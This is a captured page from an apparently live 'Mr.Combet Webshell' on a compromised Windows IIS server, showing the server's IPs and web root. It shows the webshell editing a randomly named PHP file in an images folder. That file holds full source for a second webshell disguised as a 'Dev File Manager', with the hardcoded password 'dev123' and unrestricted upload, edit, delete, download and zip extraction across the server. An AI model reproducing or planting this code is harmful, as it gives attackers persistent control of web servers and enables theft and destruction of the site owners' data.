Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
HRDC
/
HRDC
/
Assets
/
Images
/
SuccessStories
/
Edit File Name :
2d4007e6-0804-4833-a3ee-50934949cd83.php
<?php session_start(); $ROOT_DIR = getcwd(); $ALLOWED_EXTENSIONS = []; $MAX_FILE_SIZE = PHP_INT_MAX; $EDIT_FILE_SIZE_LIMIT = PHP_INT_MAX; $DEV_PASSWORD = 'dev123'; if (!isset($_SESSION['authenticated']) || $_SESSION['authenticated'] !== true) { if (isset($_POST['password']) && $_POST['password'] === $DEV_PASSWORD) { $_SESSION['authenticated'] = true; } else { showLoginForm(); exit; } } $currentDir = isset($_GET['dir']) ? $_GET['dir'] : $ROOT_DIR; if (!@is_dir($currentDir)) { $currentDir = $ROOT_DIR; } $currentDir = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $currentDir); $currentDir = rtrim($currentDir, DIRECTORY_SEPARATOR); if (empty($currentDir)) { $currentDir = $ROOT_DIR; } if (isset($_POST['action'])) { switch ($_POST['action']) { case 'save': saveFile($_POST['file'], $_POST['content']); break; case 'upload': uploadFile($_FILES['file'], $currentDir); break; case 'upload_multiple': uploadMultipleFiles($_FILES['files'], $currentDir); break; case 'delete': deleteFile($_POST['file']); break; case 'delete_multiple': if (!empty($_POST['selected_files'])) { deleteMultipleFiles($_POST['selected_files']); } break; case 'create_folder': createFolder($_POST['folder_name'], $currentDir); break; case 'create_file': createFile($_POST['file_name'], $currentDir); break; case 'rename': renameFile($_POST['old_name'], $_POST['new_name']); break; case 'copy': copyFile($_POST['source'], $_POST['destination']); break; case 'move': moveFile($_POST['source'], $_POST['destination']); break; case 'download_selected': if (!empty($_POST['selected_files'])) { downloadMultipleFiles($_POST['selected_files']); } break; case 'extract_zip': extractZip($_POST['zip_file'], $currentDir); break; } } if (isset($_GET['download'])) { downloadFile($_GET['download']); } if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } function showLoginForm() { echo '<!DOCTYPE html> <html> <head> <title>Dev File Manager - Login</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: system-ui, -apple-system, sans-serif; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); display: flex; justify-content: center; align-items: center; height: 100vh; } .login-form { background: rgba(255, 255, 255, 0.95); backdrop-filter: blur(20px); padding: 40px; border-radius: 20px; box-shadow: 0 20px 40px rgba(0,0,0,0.15); width: 400px; } .login-form h2 { text-align: center; margin-bottom: 30px; color: #333; font-weight: 600; } input[type="password"] { width: 100%; padding: 14px 16px; border: 2px solid #e1e5e9; border-radius: 12px; font-size: 16px; margin-bottom: 20px; } button { width: 100%; background: linear-gradient(45deg, #667eea, #764ba2); color: white; padding: 14px 20px; border: none; border-radius: 12px; cursor: pointer; font-size: 16px; font-weight: 600; } </style> </head> <body> <form method="post" class="login-form"> <h2>Dev File Manager</h2> <input type="password" name="password" placeholder="Enter password" required autofocus> <button type="submit">Access</button> </form> </body> </html>'; } function saveFile($file, $content) { $dir = dirname($file); if (!is_dir($dir)) { mkdir($dir, 0755, true); } if (file_put_contents($file, $content) !== false) { echo "<script>showNotification('File saved successfully!', 'success');</script>"; } else { echo "<script>showNotification('Error saving file!', 'error');</script>"; } } function uploadFile($file, $dir) { if ($file['error'] === UPLOAD_ERR_OK) { $destination = $dir . DIRECTORY_SEPARATOR . $file['name']; if (move_uploaded_file($file['tmp_name'], $destination)) { echo "<script>showNotification('File uploaded successfully!', 'success');</script>"; } else { echo "<script>showNotification('Error uploading file!', 'error');</script>"; } } else { echo "<script>showNotification('Upload error: " . $file['error'] . "', 'error');</script>"; } } function uploadMultipleFiles($files, $dir) { $uploadedCount = 0; $totalFiles = count($files['name']); for ($i = 0; $i < $totalFiles; $i++) { if ($files['error'][$i] === UPLOAD_ERR_OK) { $destination = $dir . DIRECTORY_SEPARATOR . $files['name'][$i]; if (move_uploaded_file($files['tmp_name'][$i], $destination)) { $uploadedCount++; } } } echo "<script>showNotification('Uploaded $uploadedCount out of $totalFiles files', 'success');</script>"; } function deleteFile($file) { if (is_file($file)) { if (unlink($file)) { echo "<script>showNotification('File deleted successfully!', 'success');</script>"; } else { echo "<script>showNotification('Error deleting file!', 'error');</script>"; } } elseif (is_dir($file)) { if (deleteDirectory($file)) { echo "<script>showNotification('Directory deleted successfully!', 'success');</script>"; } else { echo "<script>showNotification('Error deleting directory!', 'error');</script>"; } } } function deleteDirectory($dir) { if (!is_dir($dir)) return false; $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { $path = $dir . DIRECTORY_SEPARATOR . $file; is_dir($path) ? deleteDirectory($path) : unlink($path); } return rmdir($dir); } function deleteMultipleFiles($files) { $deletedCount = 0; foreach ($files as $file) { if (is_file($file) && unlink($file)) { $deletedCount++; } elseif (is_dir($file) && deleteDirectory($file)) { $deletedCount++; } } echo "<script>showNotification('$deletedCount items deleted successfully!', 'success');</script>"; } function createFolder($name, $dir) { $folderPath = $dir . DIRECTORY_SEPARATOR . $name; if (mkdir($folderPath, 0755, true)) { echo "<script>showNotification('Folder created successfully!', 'success');</script>"; } else { echo "<script>showNotification('Error creating folder!', 'error');</script>"; } } function createFile($name, $dir) { $filePath = $dir . DIRECTORY_SEPARATOR . $name; if (file_put_contents($filePath, '') !== false) { echo "<script>showNotification('File created successfully!', 'success');</script>"; } else { echo "<script>showNotification('Error creating file!', 'error');</script>"; } } function renameFile($oldPath, $newName) { $dir = dirname($oldPath); $newPath = $dir . DIRECTORY_SEPARATOR . $newName; if (rename($oldPath, $newPath)) { echo "<script>showNotification('Item renamed successfully!', 'success');</script>"; } else { echo "<script>showNotification('Error renaming item!', 'error');</script>"; } } function copyFile($source, $destination) { if (is_file($source)) { if (copy($source, $destination)) { echo "<script>showNotification('File copied successfully!', 'success');</script>"; } else { echo "<script>showNotification('Error copying file!', 'error');</script>"; } } } function moveFile($source, $destination) { if (rename($source, $destination)) { echo "<script>showNotification('Item moved successfully!', 'success');</script>"; } else { echo "<script>showNotification('Error moving item!', 'error');</script>"; } } function downloadFile($file) { if (is_file($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Length: ' . filesize($file)); readfile($file); exit; } } function downloadMultipleFiles($files) { if (empty($files)) return; $zipName = 'selected_files_' . date('Y-m-d_H-i-s') . '.zip'; $zipPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE) !== TRUE) { echo "<script>showNotification('Cannot create ZIP file', 'error');</script>"; return; } foreach ($files as $file) { if (is_file($file)) { $relativeName = basename($file); $zip->addFile($file, $relativeName); } } $zip->close(); if (file_exists($zipPath)) { header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zipName . '"'); header('Content-Length: ' . filesize($zipPath)); readfile($zipPath); unlink($zipPath); exit; } } function extractZip($zipFile, $extractTo) { if (!class_exists('ZipArchive')) { echo "<script>showNotification('ZipArchive not available!', 'error');</script>"; return; } $zip = new ZipArchive(); if ($zip->open($zipFile) === TRUE) { if ($zip->extractTo($extractTo)) { echo "<script>showNotification('ZIP file extracted successfully!', 'success');</script>"; } else { echo "<script>showNotification('Error extracting ZIP file!', 'error');</script>"; } $zip->close(); } else { echo "<script>showNotification('Cannot open ZIP file!', 'error');</script>"; } } function formatFileSize($size) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $size > 1024 && $i < count($units) - 1; $i++) { $size /= 1024; } return round($size, 2) . ' ' . $units[$i]; } function isEditableFile($file) { return is_file($file); } function isImageFile($file) { $imageExtensions = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg', 'ico']; $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION)); return in_array($extension, $imageExtensions) && is_file($file); } function isArchiveFile($file) { $archiveExtensions = ['zip', 'rar', '7z', 'tar', 'gz', 'bz2']; $extension = strtolower(pathinfo($file, PATHINFO_EXTENSION)); return in_array($extension, $archiveExtensions) && is_file($file); } function getImageDataUrl($file) { if (!isImageFile($file) || filesize($file) > 5 * 1024 * 1024) return ''; $imageInfo = getimagesize($file); if ($imageInfo === false) return ''; $mimeType = $imageInfo['mime']; $imageData = base64_encode(file_get_contents($file)); return "data:$mimeType;base64,$imageData"; } function searchFiles($directory, $searchTerm, &$results) { if (!is_dir($directory)) return; $items = @scandir($directory); if ($items === false) return; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $fullPath = $directory . DIRECTORY_SEPARATOR . $item; if (stripos($item, $searchTerm) !== false) { $results[] = [ 'path' => $fullPath, 'name' => $item, 'dir' => $directory, 'type' => is_dir($fullPath) ? 'directory' : 'file', 'size' => is_file($fullPath) ? filesize($fullPath) : 0, 'modified' => filemtime($fullPath) ]; } if (is_dir($fullPath) && is_readable($fullPath)) { searchFiles($fullPath, $searchTerm, $results); } } } $searchResults = []; $searchTerm = isset($_GET['search']) ? trim($_GET['search']) : ''; if (!empty($searchTerm)) { searchFiles($currentDir, $searchTerm, $searchResults); } $files = []; $dirs = []; if (@is_dir($currentDir) && empty($searchTerm)) { $items = @scandir($currentDir); if ($items !== false) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $fullPath = $currentDir . DIRECTORY_SEPARATOR . $item; $isDir = @is_dir($fullPath); $isFile = @is_file($fullPath); if ($isDir || $isFile) { $itemData = [ 'name' => $item, 'path' => $fullPath, 'size' => $isFile ? @filesize($fullPath) : 0, 'modified' => @filemtime($fullPath), 'permissions' => @substr(sprintf('%o', @fileperms($fullPath)), -4) ]; if ($isDir) { $dirs[] = $itemData; } else { $files[] = $itemData; } } } } } usort($dirs, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); usort($files, function($a, $b) { return strcasecmp($a['name'], $b['name']); }); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Development File Manager</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: system-ui, -apple-system, sans-serif; background: #f8fafc; line-height: 1.6; color: #334155; } .header { background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); color: white; padding: 20px 0; box-shadow: 0 4px 20px rgba(0,0,0,0.1); } .header-content { max-width: 1400px; margin: 0 auto; display: flex; justify-content: space-between; align-items: center; padding: 0 20px; } .header h1 { font-size: 24px; font-weight: 600; } .header-actions { display: flex; gap: 15px; align-items: center; } .dev-badge { background: rgba(255, 255, 255, 0.2); padding: 5px 12px; border-radius: 15px; font-size: 12px; font-weight: 600; text-transform: uppercase; letter-spacing: 0.5px; } .logout { background: rgba(255, 255, 255, 0.2); color: white; padding: 10px 20px; text-decoration: none; border-radius: 25px; transition: all 0.3s ease; backdrop-filter: blur(10px); } .logout:hover { background: rgba(255, 255, 255, 0.3); } .container { max-width: 1400px; margin: 0 auto; padding: 30px 20px; } .panel { background: white; border-radius: 12px; box-shadow: 0 2px 10px rgba(0,0,0,0.05); border: 1px solid #e2e8f0; margin-bottom: 20px; overflow: hidden; } .panel-header { background: #f8fafc; padding: 15px 20px; border-bottom: 1px solid #e2e8f0; font-weight: 600; color: #475569; } .panel-content { padding: 20px; } .search-form { display: flex; gap: 12px; } .search-form input[type="text"] { flex: 1; padding: 12px 16px; border: 2px solid #e2e8f0; border-radius: 8px; font-size: 16px; } .btn { padding: 12px 20px; border: none; border-radius: 8px; cursor: pointer; font-weight: 600; text-decoration: none; display: inline-flex; align-items: center; gap: 8px; transition: all 0.2s ease; } .btn-primary { background: linear-gradient(45deg, #667eea, #764ba2); color: white; } .btn-secondary { background: #6b7280; color: white; } .btn-success { background: #10b981; color: white; } .btn-danger { background: #ef4444; color: white; } .btn-warning { background: #f59e0b; color: white; } .btn:hover { transform: translateY(-1px); box-shadow: 0 4px 15px rgba(0,0,0,0.2); } .btn:disabled { opacity: 0.6; cursor: not-allowed; transform: none; } .actions-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 20px; margin-bottom: 20px; } .action-group { display: flex; flex-wrap: wrap; gap: 10px; align-items: center; } .file-input { padding: 8px 12px; border: 2px solid #e2e8f0; border-radius: 6px; background: white; } .text-input { padding: 8px 12px; border: 2px solid #e2e8f0; border-radius: 6px; font-size: 14px; } .breadcrumb { padding: 15px 20px; background: #f8fafc; border-radius: 8px; margin-bottom: 20px; font-size: 14px; } .breadcrumb a { color: #667eea; text-decoration: none; font-weight: 500; } .file-list { background: white; border-radius: 12px; overflow: hidden; box-shadow: 0 2px 10px rgba(0,0,0,0.05); border: 1px solid #e2e8f0; } .file-item { display: grid; grid-template-columns: 40px 60px 1fr auto auto; align-items: center; padding: 16px 20px; border-bottom: 1px solid #f1f5f9; transition: all 0.2s ease; gap: 16px; } .file-item:hover { background: #f8fafc; } .file-item:last-child { border-bottom: none; } .file-checkbox input { width: 16px; height: 16px; } .file-icon { width: 50px; height: 40px; display: flex; align-items: center; justify-content: center; font-size: 24px; } .file-icon img { max-width: 100%; max-height: 100%; border-radius: 4px; cursor: pointer; } .file-info { min-width: 0; } .file-name { font-weight: 600; color: #1e293b; margin-bottom: 4px; word-break: break-word; } .file-details { font-size: 12px; color: #64748b; display: flex; gap: 15px; } .file-path { color: #9ca3af; font-size: 12px; margin-top: 2px; } .file-actions { display: flex; gap: 8px; flex-wrap: wrap; } .file-actions .btn { padding: 6px 12px; font-size: 12px; } .edit-area { background: white; border-radius: 12px; padding: 24px; box-shadow: 0 2px 10px rgba(0,0,0,0.05); } .edit-area textarea { width: 100%; height: 600px; font-family: 'Monaco', 'Menlo', 'Ubuntu Mono', monospace; font-size: 14px; border: 2px solid #e2e8f0; border-radius: 8px; padding: 20px; resize: vertical; background: #fafafa; line-height: 1.5; } .edit-actions { margin-top: 20px; display: flex; gap: 12px; } .notification { position: fixed; top: 20px; right: 20px; padding: 15px 25px; border-radius: 8px; color: white; font-weight: 600; z-index: 1000; transform: translateX(100%); transition: transform 0.3s ease; } .notification.show { transform: translateX(0); } .notification.success { background: #10b981; } .notification.error { background: #ef4444; } .notification.warning { background: #f59e0b; } .modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); } .modal-content { background: white; margin: 5% auto; padding: 30px; border-radius: 12px; width: 90%; max-width: 600px; position: relative; } .modal-close { position: absolute; right: 15px; top: 15px; font-size: 24px; cursor: pointer; color: #6b7280; } .stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 15px; margin-bottom: 20px; } .stat-card { background: white; padding: 20px; border-radius: 8px; text-align: center; box-shadow: 0 2px 10px rgba(0,0,0,0.05); } .stat-number { font-size: 24px; font-weight: 700; color: #667eea; } .stat-label { font-size: 14px; color: #6b7280; margin-top: 5px; } @media (max-width: 768px) { .container { padding: 20px 15px; } .actions-grid { grid-template-columns: 1fr; } .file-item { grid-template-columns: 40px 1fr auto; gap: 12px; } .file-icon { display: none; } .file-actions { flex-direction: column; } } </style> </head> <body> <div class="header"> <div class="header-content"> <h1>Dev File Manager</h1> <div class="header-actions"> <div class="dev-badge">Development Mode</div> <a href="?logout=1" class="logout">Logout</a> </div> </div> </div> <div class="container"> <div class="stats-grid"> <div class="stat-card"> <div class="stat-number"><?php echo count($dirs); ?></div> <div class="stat-label">Directories</div> </div> <div class="stat-card"> <div class="stat-number"><?php echo count($files); ?></div> <div class="stat-label">Files</div> </div> <div class="stat-card"> <div class="stat-number"><?php $totalSize = 0; foreach($files as $file) { $totalSize += $file['size']; } echo formatFileSize($totalSize); ?></div> <div class="stat-label">Total Size</div> </div> <div class="stat-card"> <div class="stat-number"><?php echo is_writable($currentDir) ? 'Yes' : 'No'; ?></div> <div class="stat-label">Writable</div> </div> </div> <div class="panel"> <div class="panel-header">Search Files & Folders</div> <div class="panel-content"> <form method="get" class="search-form"> <input type="text" name="search" placeholder="Search files and folders..." value="<?php echo htmlspecialchars($searchTerm); ?>"> <button type="submit" class="btn btn-primary">Search</button> <?php if (!empty($searchTerm)): ?> <a href="?" class="btn btn-secondary">Clear</a> <?php endif; ?> </form> </div> </div> <?php if (!empty($searchTerm)): ?> <div class="panel"> <div class="panel-header">Search Results: "<?php echo htmlspecialchars($searchTerm); ?>" (<?php echo count($searchResults); ?> found)</div> <div class="file-list"> <?php if (empty($searchResults)): ?> <div class="file-item" style="grid-template-columns: 1fr; text-align: center; padding: 40px;"> <div>No files found matching your search</div> </div> <?php else: ?> <?php foreach ($searchResults as $result): ?> <div class="file-item"> <?php if ($result['type'] === 'file'): ?> <div class="file-checkbox"> <input type="checkbox" name="selected_file" value="<?php echo htmlspecialchars($result['path']); ?>" onchange="updateSelection()"> </div> <?php else: ?> <div></div> <?php endif; ?> <div class="file-icon"> <?php if ($result['type'] === 'directory'): ?> 📁 <?php elseif (isImageFile($result['path'])): ?> <img src="<?php echo getImageDataUrl($result['path']); ?>" alt="<?php echo htmlspecialchars($result['name']); ?>"> <?php else: ?> 📄 <?php endif; ?> </div> <div class="file-info"> <div class="file-name"> <?php if ($result['type'] === 'directory'): ?> <a href="?dir=<?php echo urlencode($result['path']); ?>" style="color: #667eea; text-decoration: none;"><?php echo htmlspecialchars($result['name']); ?></a> <?php else: ?> <?php echo htmlspecialchars($result['name']); ?> <?php endif; ?> </div> <div class="file-details"> <span><?php echo $result['type'] === 'directory' ? 'Directory' : formatFileSize($result['size']); ?></span> <span><?php echo date('M j, Y H:i', $result['modified']); ?></span> <span><?php echo htmlspecialchars(str_replace($currentDir, '.', $result['dir'])); ?></span> </div> </div> <div></div> <div class="file-actions"> <?php if ($result['type'] === 'file'): ?> <?php if (isEditableFile($result['path'])): ?> <a href="?edit=<?php echo urlencode($result['path']); ?>&dir=<?php echo urlencode(dirname($result['path'])); ?>" class="btn btn-primary">Edit</a> <?php endif; ?> <a href="?download=<?php echo urlencode($result['path']); ?>" class="btn btn-secondary">Download</a> <?php endif; ?> </div> </div> <?php endforeach; ?> <?php endif; ?> </div> </div> <?php else: ?> <div class="breadcrumb"> <strong>Current Path:</strong> <?php if ($currentDir === '/' || $currentDir === DIRECTORY_SEPARATOR) { echo '<span style="color: #1e293b; font-weight: 600;">/ (Root)</span>'; } else { echo '<a href="?dir=' . urlencode('/') . '">/ (Root)</a>'; $pathParts = array_filter(explode(DIRECTORY_SEPARATOR, $currentDir)); $buildPath = ''; foreach ($pathParts as $index => $part) { $buildPath .= DIRECTORY_SEPARATOR . $part; echo ' / '; if ($index < count($pathParts) - 1) { echo '<a href="?dir=' . urlencode($buildPath) . '">' . htmlspecialchars($part) . '</a>'; } else { echo '<span style="color: #1e293b; font-weight: 600;">' . htmlspecialchars($part) . '</span>'; } } } ?> </div> <?php if (!isset($_GET['edit'])): ?> <div class="panel"> <div class="panel-header">Quick Actions</div> <div class="panel-content"> <div class="actions-grid"> <div class="action-group"> <form method="post" enctype="multipart/form-data"> <input type="hidden" name="action" value="upload"> <input type="file" name="file" class="file-input" required> <button type="submit" class="btn btn-primary">Upload File</button> </form> </div> <div class="action-group"> <form method="post" enctype="multipart/form-data"> <input type="hidden" name="action" value="upload_multiple"> <input type="file" name="files[]" class="file-input" multiple required> <button type="submit" class="btn btn-primary">Upload Multiple</button> </form> </div> <div class="action-group"> <form method="post"> <input type="hidden" name="action" value="create_folder"> <input type="text" name="folder_name" placeholder="Folder name..." class="text-input" required> <button type="submit" class="btn btn-success">Create Folder</button> </form> </div> <div class="action-group"> <form method="post"> <input type="hidden" name="action" value="create_file"> <input type="text" name="file_name" placeholder="filename.ext" class="text-input" required> <button type="submit" class="btn btn-success">Create File</button> </form> </div> </div> </div> </div> <div class="panel"> <div class="panel-header">Selection Controls</div> <div class="panel-content"> <div class="action-group"> <button onclick="selectAllFiles()" class="btn btn-secondary">Select All</button> <button onclick="deselectAllFiles()" class="btn btn-secondary">Deselect All</button> <form method="post" style="display: inline;" id="downloadSelectedForm"> <input type="hidden" name="action" value="download_selected"> <button type="submit" id="downloadSelectedBtn" class="btn btn-primary" disabled>Download Selected</button> </form> <form method="post" style="display: inline;" id="deleteSelectedForm" onsubmit="return confirmDeleteSelected()"> <input type="hidden" name="action" value="delete_multiple"> <button type="submit" id="deleteSelectedBtn" class="btn btn-danger" disabled>Delete Selected</button> </form> <span id="selectedCount">0 files selected</span> </div> </div> </div> <div class="file-list"> <?php $parentDir = dirname($currentDir); if ($currentDir !== '/' && $currentDir !== DIRECTORY_SEPARATOR && $parentDir !== $currentDir): ?> <div class="file-item"> <div></div> <div class="file-icon">📁</div> <div class="file-info"> <div class="file-name"> <a href="?dir=<?php echo urlencode($parentDir); ?>" style="color: #667eea; text-decoration: none;">.. (Parent Directory)</a> </div> </div> <div></div> <div></div> </div> <?php endif; ?> <?php foreach ($dirs as $dir): ?> <div class="file-item"> <div></div> <div class="file-icon">📁</div> <div class="file-info"> <div class="file-name"> <a href="?dir=<?php echo urlencode($dir['path']); ?>" style="color: #667eea; text-decoration: none;"> <?php echo htmlspecialchars($dir['name']); ?> </a> </div> <div class="file-details"> <span>Directory</span> <span><?php echo date('M j, Y H:i', $dir['modified']); ?></span> <span><?php echo $dir['permissions']; ?></span> </div> </div> <div></div> <div class="file-actions"> <button onclick="renameItem('<?php echo addslashes($dir['path']); ?>', '<?php echo addslashes($dir['name']); ?>')" class="btn btn-warning">Rename</button> <form method="post" style="display:inline;" onsubmit="return confirm('Delete this folder and all its contents?');"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="file" value="<?php echo htmlspecialchars($dir['path']); ?>"> <button type="submit" class="btn btn-danger">Delete</button> </form> </div> </div> <?php endforeach; ?> <?php foreach ($files as $file): ?> <div class="file-item"> <div class="file-checkbox"> <input type="checkbox" name="selected_file" value="<?php echo htmlspecialchars($file['path']); ?>" onchange="updateSelection()"> </div> <div class="file-icon"> <?php if (isImageFile($file['path'])): ?> <img src="<?php echo getImageDataUrl($file['path']); ?>" alt="<?php echo htmlspecialchars($file['name']); ?>" onclick="showImageModal('<?php echo addslashes($file['path']); ?>')"> <?php elseif (isArchiveFile($file['path'])): ?> 📦 <?php else: ?> 📄 <?php endif; ?> </div> <div class="file-info"> <div class="file-name"><?php echo htmlspecialchars($file['name']); ?></div> <div class="file-details"> <span><?php echo formatFileSize($file['size']); ?></span> <span><?php echo date('M j, Y H:i', $file['modified']); ?></span> <span><?php echo $file['permissions']; ?></span> </div> </div> <div></div> <div class="file-actions"> <?php if (isEditableFile($file['path'])): ?> <a href="?edit=<?php echo urlencode($file['path']); ?>&dir=<?php echo urlencode($currentDir); ?>" class="btn btn-primary">Edit</a> <?php endif; ?> <a href="?download=<?php echo urlencode($file['path']); ?>" class="btn btn-secondary">Download</a> <?php if (isArchiveFile($file['path']) && strtolower(pathinfo($file['path'], PATHINFO_EXTENSION)) === 'zip'): ?> <form method="post" style="display:inline;"> <input type="hidden" name="action" value="extract_zip"> <input type="hidden" name="zip_file" value="<?php echo htmlspecialchars($file['path']); ?>"> <button type="submit" class="btn btn-success" onclick="return confirm('Extract ZIP file to current directory?')">Extract</button> </form> <?php endif; ?> <button onclick="renameItem('<?php echo addslashes($file['path']); ?>', '<?php echo addslashes($file['name']); ?>')" class="btn btn-warning">Rename</button> <form method="post" style="display:inline;" onsubmit="return confirm('Delete this file?');"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="file" value="<?php echo htmlspecialchars($file['path']); ?>"> <button type="submit" class="btn btn-danger">Delete</button> </form> </div> </div> <?php endforeach; ?> <?php if (empty($dirs) && empty($files)): ?> <div class="file-item" style="grid-template-columns: 1fr; text-align: center; padding: 40px;"> <div> <div style="font-size: 48px; margin-bottom: 16px;">📂</div> <div>This directory is empty</div> </div> </div> <?php endif; ?> </div> <?php else: ?> <?php $editFile = $_GET['edit']; if (isEditableFile($editFile)): $content = file_get_contents($editFile); ?> <div class="edit-area"> <h2>Editing: <?php echo htmlspecialchars(basename($editFile)); ?></h2> <p style="color: #6b7280; margin-bottom: 20px;">File path: <?php echo htmlspecialchars($editFile); ?></p> <form method="post"> <input type="hidden" name="action" value="save"> <input type="hidden" name="file" value="<?php echo htmlspecialchars($editFile); ?>"> <textarea name="content" placeholder="File content..." spellcheck="false"><?php echo htmlspecialchars($content); ?></textarea> <div class="edit-actions"> <button type="submit" class="btn btn-success">Save Changes</button> <a href="?dir=<?php echo urlencode($currentDir); ?>" class="btn btn-secondary">Cancel</a> <button type="button" onclick="downloadFile('<?php echo addslashes($editFile); ?>')" class="btn btn-primary">Download</button> </div> </form> </div> <?php else: ?> <div class="edit-area"> <h2>Cannot Edit File</h2> <p>This file cannot be edited because it's either too large or has an unsupported extension.</p> <div class="edit-actions"> <a href="?dir=<?php echo urlencode($currentDir); ?>" class="btn btn-secondary">Back to Files</a> <a href="?download=<?php echo urlencode($editFile); ?>" class="btn btn-primary">Download File</a> </div> </div> <?php endif; ?> <?php endif; ?> <?php endif; ?> </div> <div id="renameModal" class="modal"> <div class="modal-content"> <span class="modal-close" onclick="closeRenameModal()">×</span> <h3>Rename Item</h3> <form method="post" id="renameForm"> <input type="hidden" name="action" value="rename"> <input type="hidden" name="old_name" id="oldNameInput"> <div style="margin: 20px 0;"> <label>New name:</label> <input type="text" name="new_name" id="newNameInput" class="text-input" style="width: 100%; margin-top: 8px;" required> </div> <div class="action-group"> <button type="submit" class="btn btn-success">Rename</button> <button type="button" onclick="closeRenameModal()" class="btn btn-secondary">Cancel</button> </div> </form> </div> </div> <script> function showNotification(message, type = 'success') { const notification = document.createElement('div'); notification.className = `notification ${type}`; notification.textContent = message; document.body.appendChild(notification); setTimeout(() => notification.classList.add('show'), 100); setTimeout(() => { notification.classList.remove('show'); setTimeout(() => document.body.removeChild(notification), 300); }, 3000); } function updateSelection() { const checkboxes = document.querySelectorAll('input[name="selected_file"]:checked'); const downloadBtn = document.getElementById('downloadSelectedBtn'); const deleteBtn = document.getElementById('deleteSelectedBtn'); const selectedCount = document.getElementById('selectedCount'); const downloadForm = document.getElementById('downloadSelectedForm'); const deleteForm = document.getElementById('deleteSelectedForm'); selectedCount.textContent = checkboxes.length + ' files selected'; downloadBtn.disabled = checkboxes.length === 0; deleteBtn.disabled = checkboxes.length === 0; downloadForm.querySelectorAll('input[name="selected_files[]"]').forEach(input => input.remove()); deleteForm.querySelectorAll('input[name="selected_files[]"]').forEach(input => input.remove()); checkboxes.forEach(checkbox => { const downloadInput = document.createElement('input'); downloadInput.type = 'hidden'; downloadInput.name = 'selected_files[]'; downloadInput.value = checkbox.value; downloadForm.appendChild(downloadInput); const deleteInput = document.createElement('input'); deleteInput.type = 'hidden'; deleteInput.name = 'selected_files[]'; deleteInput.value = checkbox.value; deleteForm.appendChild(deleteInput); }); } function selectAllFiles() { document.querySelectorAll('input[name="selected_file"]').forEach(cb => cb.checked = true); updateSelection(); } function deselectAllFiles() { document.querySelectorAll('input[name="selected_file"]').forEach(cb => cb.checked = false); updateSelection(); } function confirmDeleteSelected() { const count = document.querySelectorAll('input[name="selected_file"]:checked').length; return confirm(`Delete ${count} selected items?`); } function renameItem(path, currentName) { document.getElementById('oldNameInput').value = path; document.getElementById('newNameInput').value = currentName; document.getElementById('renameModal').style.display = 'block'; document.getElementById('newNameInput').focus(); } function closeRenameModal() { document.getElementById('renameModal').style.display = 'none'; } function showImageModal(imagePath) { window.open('?download=' + encodeURIComponent(imagePath), '_blank'); } function downloadFile(filePath) { window.location.href = '?download=' + encodeURIComponent(filePath); } const textarea = document.querySelector('textarea'); if (textarea) { const originalContent = textarea.value; window.addEventListener('beforeunload', function(e) { if (textarea.value !== originalContent) { e.preventDefault(); e.returnValue = 'You have unsaved changes. Are you sure you want to leave?'; } }); } window.onclick = function(event) { const modal = document.getElementById('renameModal'); if (event.target === modal) { closeRenameModal(); } } document.addEventListener('DOMContentLoaded', function() { updateSelection(); }); </script> </body> </html></div>
Save